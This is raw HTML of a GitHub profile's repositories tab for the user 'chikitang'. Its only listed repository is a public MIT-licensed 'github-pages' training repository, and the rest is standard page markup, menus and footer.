data-hydro-click="{"event_type":"user_profile.click","payload":{"profile_user_id":107093285,"target":"TAB_STARS","user_id":107093285,"originating_url":"https://github.com/chikitang?tab=repositories"}}" data-hydro-click-hmac="9b1d942d1e97482fca652be20f1a0bdf7aadf6379f10093c52d87921e2fc4d38" data-tab-item="stars" href="/chikitang?tab=stars"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star UnderlineNav-octicon hide-sm"> <path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"></path> </svg> Stars <span title="0" hidden="hidden" data-view-component="true" class="Counter">0</span> </a> </nav> <div class="position-absolute pr-3 pr-md-4 pr-lg-5 right-0 js-responsive-underlinenav-overflow" style="visibility: hidden"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 100-3 1.5 1.5 0 000 3zM1.5 9a1.5 1.5 0 100-3 1.5 1.5 0 000 3zm13 0a1.5 1.5 0 100-3 1.5 1.5 0 000 3z"></path> </svg> <span class="sr-only">More</span> </div> </summary> <div data-view-component="true"> <details-menu role="menu" class="dropdown-menu dropdown-menu-sw"> <ul > <li data-menu-item="overview" hidden> <a role="menuitem" class="js-selected-navigation-item selected dropdown-item" aria-current="page" data-selected-links=" /chikitang" href="/chikitang">Overview</a> </li> <li data-menu-item="repositories" hidden> <a role="menuitem" class="js-selected-navigation-item selected dropdown-item" aria-current="page" data-selected-links=" /chikitang?tab=repositories" href="/chikitang?tab=repositories">Repositories</a> </li> <li data-menu-item="projects" hidden> <a role="menuitem" class="js-selected-navigation-item dropdown-item" data-selected-links=" /chikitang?tab=projects&type=beta" href="/chikitang?tab=projects&type=beta">Projects</a> </li> <li data-menu-item="packages" hidden> <a role="menuitem" class="js-selected-navigation-item dropdown-item" data-selected-links=" /chikitang?tab=packages" href="/chikitang?tab=packages">Packages</a> </li> <li data-menu-item="stars" hidden> <a role="menuitem" class="js-selected-navigation-item dropdown-item" data-selected-links=" /chikitang?tab=stars" href="/chikitang?tab=stars">Stars</a> </li> </ul> </details-menu> </div> </details></div> </div> <div> <div class="position-relative"> <div class="border-bottom color-border-muted py-3"> <a href="/new" class="d-md-none btn btn-primary d-flex flex-items-center flex-justify-center width-full mb-4"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo mr-1"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path> </svg> New </a> <div class="d-flex flex-items-start"> <!-- '"` --><!-- </textarea></xmp> --></option></form><form class="width-full" data-autosearch-results-container="user-repositories-list" aria-label="Repositories" role="search" data-turbo="false" action="/chikitang" accept-charset="UTF-8" method="get"> <div class="d-flex flex-column flex-lg-row flex-auto"> <div class="mb-1 mb-md-0 mr-md-3 flex-auto"> <input type="hidden" name="tab" value="repositories"> <input type="search" id="your-repos-filter" name="q" class="form-control width-full" placeholder="Find a repository…" autocomplete="off" aria-label="Find a repository…" value="" data-throttled-autosubmit> </div> <div class="d-flex flex-wrap"> <details class="details-reset details-overlay position-relative mt-1 mt-lg-0 mr-1" id="type-options"> <summary aria-haspopup="true" data-view-component="true" class="btn"> <span>Type</span> <span class="d-none" data-menu-button> All </span> <span class="dropdown-caret"></span> </summary> <details-menu class="SelectMenu right-lg-0"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span class="SelectMenu-title">Select type</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="type-options"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path> </svg></button> </header> <div class="SelectMenu-list"> <label class="SelectMenu-item" role="menuitemradio" aria-checked="true" tabindex="0"> <input type="radio" name="type" id="type_" value="" hidden="hidden" data-autosubmit="true" checked="checked" /> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path> </svg> <span class="text-normal" data-menu-button-text>All</span> </label> <label class="SelectMenu-item" role="menuitemradio" aria-checked="false" tabindex="0"> <input type="radio" name="type" id="type_public" value="public" hidden="hidden" data-autosubmit="true" /> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path> </svg> <span class="text-normal" data-menu-button-text>Public</span> </label> <label class="SelectMenu-item" role="menuitemradio" aria-checked="false" tabindex="0"> <input type="radio" name="type" id="type_private" value="private" hidden="hidden" data-autosubmit="true" /> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path> </svg> <span class="text-normal" data-menu-button-text>Private</span> </label> <label class="SelectMenu-item" role="menuitemradio" aria-checked="false" tabindex="0"> <input type="radio" name="type" id="type_source" value="source" hidden="hidden" data-autosubmit="true" /> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path> </svg> <span class="text-normal" data-menu-button-text>Sources</span> </label> <label class="SelectMenu-item" role="menuitemradio" aria-checked="false" tabindex="0"> <input type="radio" name="type" id="type_fork" value="fork" hidden="hidden" data-autosubmit="true" /> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path> </svg> <span class="text-normal" data-menu-button-text>Forks</span> </label> <label class="SelectMenu-item" role="menuitemradio" aria-checked="false" tabindex="0"> <input type="radio" name="type" id="type_archived" value="archived" hidden="hidden" data-autosubmit="true" /> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path> </svg> <span class="text-normal" data-menu-button-text>Archived</span> </label> <label class="SelectMenu-item" role="menuitemradio" aria-checked="false" tabindex="0"> <input type="radio" name="type" id="type_mirror" value="mirror" hidden="hidden" data-autosubmit="true" /> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path> </svg> <span class="text-normal" data-menu-button-text>Mirrors</span> </label> <label class="SelectMenu-item" role="menuitemradio" aria-checked="false" tabindex="0"> <input type="radio" name="type" id="type_template" value="template" hidden="hidden" data-autosubmit="true" /> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path> </svg> <span class="text-normal" data-menu-button-text>Templates</span> </label> </div> </div> </details-menu> </details> <details class="details-reset details-overlay position-relative mt-1 mt-lg-0" id="language-options"> <summary aria-haspopup="true" data-view-component="true" class="btn"> <span>Language</span> <span class="d-none" data-menu-button> All </span> <span class="dropdown-caret"></span> </summary> <details-menu class="SelectMenu mt-1 mt-lg-0 mr-md-2 ml-md-2 right-lg-0"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span class="SelectMenu-title">Select language</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="language-options"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path> </svg></button> </header> <div class="SelectMenu-list"> <label class="SelectMenu-item" role="menuitemradio" aria-checked="true" tabindex="0"> <input type="radio" name="language" id="language_" value="" hidden="hidden" data-autosubmit="true" checked="checked" /> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path> </svg> <span class="text-normal" data-menu-button-text>All</span> </label> <label class="SelectMenu-item" role="menuitemradio" aria-checked="false" tabindex="0"> <input type="radio" name="language" id="language_html" value="html" hidden="hidden" data-autosubmit="true" /> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path> </svg> <span class="text-normal" data-menu-button-text>HTML</span> </label> </div> </div> </details-menu> </details> <details class="details-reset details-overlay position-relative mt-1 mt-lg-0 ml-1" id="sort-options"> <summary aria-haspopup="true" data-view-component="true" class="btn"> <span>Sort</span> <span class="d-none" data-menu-button> Last updated </span> <span class="dropdown-caret"></span> </summary> <details-menu class="SelectMenu right-lg-0"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span class="SelectMenu-title">Select order</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="sort-options"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path> </svg></button> </header> <div class="SelectMenu-list"> <label class="SelectMenu-item" role="menuitemradio" aria-checked="true" tabindex="0"> <input type="radio" name="sort" id="sort_" value="" hidden="hidden" data-autosubmit="true" checked="checked" /> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path> </svg> <span class="text-normal" data-menu-button-text>Last updated</span> </label> <label class="SelectMenu-item" role="menuitemradio" aria-checked="false" tabindex="0"> <input type="radio" name="sort" id="sort_name" value="name" hidden="hidden" data-autosubmit="true" /> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path> </svg> <span class="text-normal" data-menu-button-text>Name</span> </label> <label class="SelectMenu-item" role="menuitemradio" aria-checked="false" tabindex="0"> <input type="radio" name="sort" id="sort_stargazers" value="stargazers" hidden="hidden" data-autosubmit="true" /> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path> </svg> <span class="text-normal" data-menu-button-text>Stars</span> </label> </div> </div> </details-menu> </details> </div> </div> </form> <div class="d-none d-md-flex flex-md-items-center flex-md-justify-end"> <a href="/new" class="text-center btn btn-primary ml-3"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path> </svg> New </a> </div> </div> </div> <div id="user-repositories-list"> <ul data-filterable-for="your-repos-filter" data-filterable-type="substring"> <li class="col-12 d-flex flex-justify-between width-full py-4 border-bottom color-border-muted public source" itemprop="owns" itemscope itemtype="http://schema.org/Code"> <div class="col-10 col-lg-9 d-inline-block"> <div class="d-inline-block mb-1"> <h3 class="wb-break-all"> <a href="/chikitang/github-pages" itemprop="name codeRepository" > github-pages</a> <span></span><span class="Label Label--secondary v-align-middle ml-1 mb-1">Public</span> </h3> </div> <div> <p class="col-9 d-inline-block color-fg-muted mb-2 pr-4" itemprop="description"> A robot powered training repository <g-emoji class="g-emoji" alias="robot" fallback-src="https://github.githubassets.com/images/icons/emoji/unicode/1f916.png">🤖</g-emoji> </p> </div> <div class="f6 color-fg-muted mt-2"> <span class="ml-0 mr-3"> <span class="repo-language-color" style="background-color: #e34c26"></span> <span itemprop="programmingLanguage">HTML</span> </span> <span class="mr-3"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-law mr-1"> <path fill-rule="evenodd" d="M8.75.75a.75.75 0 00-1.5 0V2h-.984c-.305 0-.604.08-.869.23l-1.288.737A.25.25 0 013.984 3H1.75a.75.75 0 000 1.5h.428L.066 9.192a.75.75 0 00.154.838l.53-.53-.53.53v.001l.002.002.002.002.006.006.016.015.045.04a3.514 3.514 0 00.686.45A4.492 4.492 0 003 11c.88 0 1.556-.22 2.023-.454a3.515 3.515 0 00.686-.45l.045-.04.016-.015.006-.006.002-.002.001-.002L5.25 9.5l.53.53a.75.75 0 00.154-.838L3.822 4.5h.162c.305 0 .604-.08.869-.23l1.289-.737a.25.25 0 01.124-.033h.984V13h-2.5a.75.75 0 000 1.5h6.5a.75.75 0 000-1.5h-2.5V3.5h.984a.25.25 0 01.124.033l1.29.736c.264.152.563.231.868.231h.162l-2.112 4.692a.75.75 0 00.154.838l.53-.53-.53.53v.001l.002.002.002.002.006.006.016.015.045.04a3.517 3.517 0 00.686.45A4.492 4.492 0 0013 11c.88 0 1.556-.22 2.023-.454a3.512 3.512 0 00.686-.45l.045-.04.01-.01.006-.005.006-.006.002-.002.001-.002-.529-.531.53.53a.75.75 0 00.154-.838L13.823 4.5h.427a.75.75 0 000-1.5h-2.234a.25.25 0 01-.124-.033l-1.29-.736A1.75 1.75 0 009.735 2H8.75V.75zM1.695 9.227c.285.135.718.273 1.305.273s1.02-.138 1.305-.273L3 6.327l-1.305 2.9zm10 0c.285.135.718.273 1.305.273s1.02-.138 1.305-.273L13 6.327l-1.305 2.9z"></path> </svg>MIT License </span> Updated <relative-time datetime="2022-06-08T03:58:07Z" class="no-wrap">Jun 7, 2022</relative-time> </div> </div> <div class="col-2 d-flex flex-column flex-justify-around flex-items-end ml-3"> <template class="js-unstar-confirmation-dialog-template"> <div class="Box-header"> <h2 class="Box-title">Unstar this repository?</h2> </div> <div class="Box-body"> <p class="mb-3"> This will remove {{ repoNameWithOwner }} from the {{ listsWithCount }} that it's been added to. </p> <div class="form-actions"> <form class="js-social-confirmation-form" data-turbo="false" action="{{ confirmUrl }}" accept-charset="UTF-8" method="post"> <input type="hidden" name="authenticity_token" value="{{ confirmCsrfToken }}"> <input type="hidden" name="confirm" value="true"> <button data-close-dialog="true" type="submit" data-view-component="true" class="btn-danger btn width-full"> Unstar </button> </form> </div> </div> </template> <div data-view-component="true" class="js-toggler-container js-social-container starring-container BtnGroup d-flex"> <form class="starred js-social-form BtnGroup-parent flex-auto js-deferred-toggler-target" data-turbo="false" action="/chikitang/github-pages/unstar" accept-charset="UTF-8" method="post"><input type="hidden" name="authenticity_token" value="P3ZaMuVNtLT4QUVj9SZ3_76QeVS-3FOc0gP3XVwVBgRcLVKXCTCdvdJ6obMwUrBCGfd2XQVN_W7IuZa7njBcNA" autocomplete="off" /> <input type="hidden" value="KnKZMI3CU5RojoPkAik3DUoD4aqrgGVadUrVgfAoCJRJKZGVYb96nUK1ZzTHXfCw7WTuoxARy6hv8LRnMg1SpA" data-csrf="true" class="js-confirm-csrf-token" /> <input type="hidden" name="context" value="other"> <button data-hydro-click="{"event_type":"repository.click","payload":{"target":"UNSTAR_BUTTON","repository_id":501093064,"originating_url":"https://github.com/chikitang?tab=repositories","user_id":107093285}}" data-hydro-click-hmac="f34c8205d1678d4ae0e77c4839fbb14d3a9fd63160652b28998f8827c527e5a2" data-ga-click="Repository, click unstar button, action:profiles/repositories#index; text:Unstar" aria-label="Unstar this repository" type="submit" data-view-component="true" class="rounded-left-2 border-right-0 btn-sm btn BtnGroup-item"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star-fill starred-button-icon d-inline-block mr-2"> <path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25z"></path> </svg><span data-view-component="true" class="d-inline"> Starred </span> </button></form> <form class="unstarred js-social-form BtnGroup-parent flex-auto" data-turbo="false" action="/chikitang/github-pages/star" accept-charset="UTF-8" method="post"><input type="hidden" name="authenticity_token" value="VdD5gHR0SaNWuuE-4Huf1LFVNH_kIFLksg8psuv1LDDU6Ha53YRem4Yp2ZrIpb7eKSa1cf-yR9oZDpa0b5XdgA" autocomplete="off" /> <input type="hidden" name="context" value="other"> <button data-hydro-click="{"event_type":"repository.click","payload":{"target":"STAR_BUTTON","repository_id":501093064,"originating_url":"https://github.com/chikitang?tab=repositories","user_id":107093285}}" data-hydro-click-hmac="5cd067574b17d3257d89fbe1c8c675a553eb8e3ad7cea5efb3cf0e75d36f0801" data-ga-click="Repository, click star button, action:profiles/repositories#index; text:Star" aria-label="Star this repository" type="submit" data-view-component="true" class="js-toggler-target rounded-left-2 btn-sm btn BtnGroup-item"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star d-inline-block mr-2"> <path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"></path> </svg><span data-view-component="true" class="d-inline"> Star </span> </button></form> <details id="details-user-list-501093064" data-view-component="true" class="details-reset details-overlay BtnGroup-parent js-user-list-menu d-inline-block position-relative"> <summary aria-label="Add this repository to a list" data-view-component="true" class="btn-sm btn BtnGroup-item px-2 float-none"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down"> <path d="M4.427 7.427l3.396 3.396a.25.25 0 00.354 0l3.396-3.396A.25.25 0 0011.396 7H4.604a.25.25 0 00-.177.427z"></path> </svg> </summary> <details-menu class="SelectMenu right-0" src="/chikitang/github-pages/lists" role="menu" > <div class="SelectMenu-modal"> <button class="SelectMenu-closeButton position-absolute right-0 m-2" type="button" aria-label="Close menu" data-toggle-for="details-91edb5"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path> </svg> </button> <div id="filter-menu-91edb5" class="d-flex flex-column flex-1 overflow-hidden" > <div class="SelectMenu-list" > <include-fragment class="SelectMenu-loading" aria-label="Loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /> </svg> </include-fragment> </div> </div> </div> </details-menu> </details> </div> <div class="text-right hide-lg hide-md hide-sm hide-xs flex-self-end "> <poll-include-fragment src="/chikitang/github-pages/graphs/participation?h=28&type=sparkline&w=155"> </poll-include-fragment> </div> </div> </li> </ul> <div class="paginate-container"> </div> </div> </div> </div> </div> </div></div> </main> </div> <footer class="footer width-full container-xl p-responsive" role="contentinfo"> <div class="position-relative d-flex flex-items-center pb-2 f6 color-fg-muted border-top color-border-muted flex-column-reverse flex-lg-row flex-wrap flex-lg-nowrap mt-6 pt-6"> <ul class="list-style-none d-flex flex-wrap col-0 col-lg-2 flex-justify-start flex-lg-justify-between mb-2 mb-lg-0"> <li class="mt-2 mt-lg-0 d-flex flex-items-center"> <a aria-label="Homepage" title="GitHub" class="footer-octicon mr-2" href="https://github.com"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path fill-rule="evenodd" d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0016 8c0-4.42-3.58-8-8-8z"></path> </svg> </a> <span> © 2022 GitHub, Inc. </span> </li> </ul> <ul class="list-style-none d-flex flex-wrap col-12 col-lg-8 flex-justify-center flex-lg-justify-between mb-2 mb-lg-0"> <li class="mr-3 mr-lg-0"><a href="https://docs.github.com/en/github/site-policy/github-terms-of-service" data-analytics-event="{"category":"Footer","action":"go to terms","label":"text:terms"}">Terms</a></li> <li class="mr-3 mr-lg-0"><a href="https://docs.github.com/en/github/site-policy/github-privacy-statement" data-analytics-event="{"category":"Footer","action":"go to privacy","label":"text:privacy"}">Privacy</a></li> <li class="mr-3 mr-lg-0"><a data-analytics-event="{"category":"Footer","action":"go to security","label":"text:security"}" href="https://github.com/security">Security</a></li> <li class="mr-3 mr-lg-0"><a href="https://www.githubstatus.com/" data-analytics-event="{"category":"Footer","action":"go to status","label":"text:status"}">Status</a></li> <li class="mr-3 mr-lg-0"><a data-ga-click="Footer, go to help, text:Docs" href="https://docs.github.com">Docs</a></li> <li class="mr-3 mr-lg-0"><a href="https://support.github.com?tags=dotcom-footer" data-analytics-event="{"category":"Footer","action":"go to contact","label":"text:contact"}">Contact GitHub</a></li> <li class="mr-3 mr-lg-0"><a href="https://github.com/pricing" data-analytics-event="{"category":"Footer","action":"go to Pricing","label":"text:Pricing"}">Pricing</a></li> <li class="mr-3 mr-lg-0"><a href="https://docs.github.com" data-analytics-event="{"category":"Footer","action":"go to api","label":"text:api"}">API</a></li> <li class="mr-3 mr-lg-0"><a href="https://services.github.com" data-analytics-event="{"category":"Footer","action":"go to training","label":"text:training"}">Training</a></li> <li class="mr-3 mr-lg-0"><a href="https://github.blog" data-analytics-event="{"category":"Footer","action":"go to blog","label":"text:blog"}">Blog</a></li> <li><a data-ga-click="Footer, go to about, text:about" href="https://github.com/about">About</a></li> </ul> </div> <div class="d-flex flex-justify-center pb-6"> <span class="f6 color-fg-muted"></span> </div> </footer> <div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path fill-rule="evenodd" d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z"></path> </svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path> </svg> </button> You can’t perform that action at this time. </div> <div 